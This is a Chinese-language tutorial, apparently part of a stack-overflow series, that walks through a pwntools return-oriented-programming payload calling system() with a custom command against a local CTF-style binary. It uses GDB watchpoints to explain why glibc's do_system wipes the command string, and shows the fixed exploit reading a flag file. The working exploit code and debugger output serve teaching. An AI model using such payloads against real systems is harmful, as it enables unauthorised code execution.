二进制安全之栈溢出(六)
上一篇文章在执行 system
函数的时候是使用的 libc 中的 /bin/sh
字符串,如果我们想运行一个自定义的命令那就不一定能在内存中找到了,万幸的是 student
结构体的内存也是可以控制的,我们可以在结构体中也放入一个字符串,这样就可以实现任意参数了。
可以把参数放在结构体的开头,shellcode 大致就是这个样子的
1from pwn import *
2
3student = 0x7fffffffe2f0
4cmd = "cat flag\x00"
5shellcode = "1925\n" + cmd
6shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
7# pop rdi; ret
8shellcode += p64(0x0000000000400803)
9# cmd
10shellcode += p64(student)
11# system
12shellcode += p64(0x400550)
13
14print shellcode
但是在 GDB 中直接运行会发现进程虽然启动了 /bin/sh
,但是 cat
没有执行,为了调试这个问题,还是先搞清楚 system
的实现比较好。
标准库里面的 system
在 Linux 下实际就是 __libc_system
1int
2__libc_system (const char *line)
3{
4 if (line == NULL)
5 /* Check that we have a command processor available. It might
6 not be available after a chroot(), for example. */
7 return do_system ("exit 0") == 0;
8
9 return do_system (line);
10}
然后 do_system
才是真正的逻辑,在 GitHub 上有人 mirror 了一份源码,简单的原理就是 fork
之后在子进程 execve
,其中参数是
1new_argv[0] = SHELL_NAME; // 源码开头定义的,目前是 sh
2new_argv[1] = "-c";
3new_argv[2] = line; // 就是 system 函数的参数
4new_argv[3] = NULL; // 代表数组结束
如果说看到新的 /bin/sh
进程启动了,但是命令没有执行,那一般就出在 fork
之后的步骤了,所以我们在 __execve
上下断点,看下参数是否正确。
1➜ new gdb vuln
2Breakpoint 1 at 0x400550
3gdb-peda$ r < in.txt
4
5...
6
7gdb-peda$ b __execve
8Breakpoint 2 at 0x7ffff7ad9770: file ../sysdeps/unix/syscall-template.S, line 84.
9gdb-peda$ c
10Continuing.
11[New process 20226]
12[Switching to process 20226]
13[----------------------------------registers-----------------------------------]
14
15RDX: 0x7fffffffe438 --> 0x7fffffffe6db ("LANG=en_US.UTF-8")
16RSI: 0x7fffffffe208 --> 0x7ffff7b99d1c --> 0x2074697865006873 ('sh')
17RDI: 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')
18RBP: 0x0
19RSP: 0x7fffffffe1d0 --> 0x7ffff7a52299 (<do_system+1145>: mov edi,0x7f)
20
21[-------------------------------------code-------------------------------------]
22 0x7ffff7ad9762 <__GI__exit+82>: mov DWORD PTR fs:[r9],eax
23 0x7ffff7ad9766 <__GI__exit+86>: jmp 0x7ffff7ad973f <__GI__exit+47>
24 0x7ffff7ad9768: nop DWORD PTR [rax+rax*1+0x0]
25=> 0x7ffff7ad9770 <execve>: mov eax,0x3b
26 0x7ffff7ad9775 <execve+5>: syscall
27 0x7ffff7ad9777 <execve+7>: cmp rax,0xfffffffffffff001
28 0x7ffff7ad977d <execve+13>: jae 0x7ffff7ad9780 <execve+16>
29 0x7ffff7ad977f <execve+15>: ret
30[------------------------------------stack-------------------------------------]
31...
32[------------------------------------------------------------------------------]
33Legend: code, data, rodata, value
34
35Thread 2.1 "vuln" hit Breakpoint 2, execve () at ../sysdeps/unix/syscall-template.S:84
3684 ../sysdeps/unix/syscall-template.S: No such file or directory.
可以看出程序停在了 execve
函数内部的开头,这个函数是三个参数,所以检查 rdi, rsi, rdx 三个寄存器就可以了。
rdi 在上面可以直接看到,是 /bin/sh
没问题。
rsi 是第二个参数,类型是 char *const argv[]
,也就是指针数组,先看下地址
1gdb-peda$ x/4xg $rsi
20x7fffffffe208: 0x00007ffff7b99d1c 0x00007ffff7b99d14
30x7fffffffe218: 0x00007fffffffe2f0 0x0000000000000000
4
5gdb-peda$ x/s 0x00007ffff7b99d1c
60x7ffff7b99d1c: "sh"
7gdb-peda$ x/s 0x00007ffff7b99d14
80x7ffff7b99d14: "-c"
9gdb-peda$ x/s 0x00007fffffffe2f0
100x7fffffffe2f0: ""
11
12gdb-peda$ x/8xb 0x00007fffffffe2f0
130x7fffffffe2f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
目前 argv
是 ["sh", "-c", "", NULL]
的状态,第一个参数惯例都是进程自己的路径,第二个 -c
也是预期的,而第三个应该是我们执行的指令才对,也就是 echo
,而现在这个地址指向的内存都变成了0,所以 execve
就会出错。但是这个地址是 student
结构体的起始位置,为什么会被清空了呢?这时候就需要监视变量或者内存地址的指令了,那就是 watch
。
1➜ new gdb vuln
2gdb-peda$ b system
3Breakpoint 1 at 0x400550
4gdb-peda$ r < in.txt
5Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
6
7Breakpoint 1, __libc_system (line=0x7fffffffe2f0 "echo cmd") at ../sysdeps/posix/system.c:179
8179 ../sysdeps/posix/system.c: No such file or directory.
9gdb-peda$ x/16xb 0x7fffffffe2f0
100x7fffffffe2f0: 0x65 0x63 0x68 0x6f 0x20 0x63 0x6d 0x64
110x7fffffffe2f8: 0x00 0x41 0x41 0x41 0x41 0x41 0x41 0x41
12gdb-peda$ watch *0x7fffffffe2f0
13Hardware watchpoint 2: *0x7fffffffe2f0
14gdb-peda$ b __execve
15Breakpoint 3 at 0x7ffff7ad9770: file ../sysdeps/unix/syscall-template.S, line 84.
16gdb-peda$ c
17Continuing.
18[----------------------------------registers-----------------------------------]
19RAX: 0x0
20RBX: 0x7fffffffe2f0 --> 0x0
21RCX: 0x7
22RDX: 0x7fffffffe2b0 --> 0x0
23RSI: 0x1
24RDI: 0x7fffffffe2f8 --> 0x4141414141414100 ('')
25RBP: 0x7fffffffe2a8 --> 0x1
26RSP: 0x7fffffffe1d8 --> 0x0
27RIP: 0x7ffff7a51e60 (<do_system+64>: rep stos QWORD PTR es:[rdi],rax)
28R8 : 0x2e6572654820646e ('nd Here.')
29R9 : 0x1b
30R10: 0x547
31R11: 0x7ffff7a52390 (<__libc_system>: test rdi,rdi)
32R12: 0x4005c0 (<_start>: xor ebp,ebp)
33R13: 0x7fffffffe420 --> 0x1
34R14: 0x0
35R15: 0x0
36EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
37[-------------------------------------code-------------------------------------]
38 0x7ffff7a51e4e <do_system+46>: mov DWORD PTR [rsp+0x158],0x0
39 0x7ffff7a51e59 <do_system+57>: lea rdx,[rbp+0x8]
40 0x7ffff7a51e5d <do_system+61>: mov rdi,rdx
41=> 0x7ffff7a51e60 <do_system+64>: rep stos QWORD PTR es:[rdi],rax
42 0x7ffff7a51e63 <do_system+67>: cmp DWORD PTR [rip+0x3848d6],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads>
43 0x7ffff7a51e6a <do_system+74>: je 0x7ffff7a51e78 <do_system+88>
44 0x7ffff7a51e6c <do_system+76>: lock cmpxchg DWORD PTR [rip+0x38162c],esi # 0x7ffff7dd34a0 <lock>
45 0x7ffff7a51e74 <do_system+84>: jne 0x7ffff7a51e81 <do_system+97>
46
47Hardware watchpoint 2: *0x7fffffffe2f0
48
49Old value = 0x6f686365
50New value = 0x0
510x00007ffff7a51e60 in do_system (line=0x7ffff7a51e60 "") at ../sysdeps/posix/system.c:66
5266 in ../sysdeps/posix/system.c
在 0x7ffff7a51e60
rep stos QWORD PTR es:[rdi],rax
指令这里修改了 0x7ffff7a51e60
的内容,New value
就是 0。
rep
执行可以加在很多指令前面,表示循环执行 $rdx
次,stos QWORD PTR es:[rdi],rax
是把 RAX 寄存器的值(目前为0)复制到 ,再查看相关的内存地址果然是这样的。
1gdb-peda$ x/128xb 0x7fffffffe2f0
20x7fffffffe2f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
30x7fffffffe2f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
40x7fffffffe300: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
50x7fffffffe308: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
60x7fffffffe310: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
70x7fffffffe318: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
80x7fffffffe320: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
90x7fffffffe328: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
100x7fffffffe330: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
110x7fffffffe338: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
120x7fffffffe340: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
搞清楚哪部分数据会被覆盖就可以针对性的改写 shellcode 了,可以把命令行放在最后面。
1from pwn import *
2
3student = 0x7fffffffe2f0
4# 确定后面会是 \x00 了就先不手写结束符了,方便定位地址,否则 cmd 会变成 9 个字节
5cmd = "cat flag"
6shellcode = "1925\n"
7shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
8shellcode += cmd
9# pop rdi; ret
10shellcode += p64(0x0000000000400803)
11# cmd
12shellcode += p64(0x7fffffffe340)
13# system
14shellcode += p64(0x400550)
15
16print shellcode
1gdb-peda$ r < in.txt
2Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
30x7fffffffe2f0What's Your Birth?
4What's Your Name?
5You Are Born In 1094795585
6You Are Naive.
7You Speed One Second Here.
8[New process 20726]
9process 20726 is executing new program: /bin/dash
10[New process 20727]
11process 20727 is executing new program: /bin/cat
12THIS_IS_FLAG
13[Inferior 3 (process 20727) exited normally]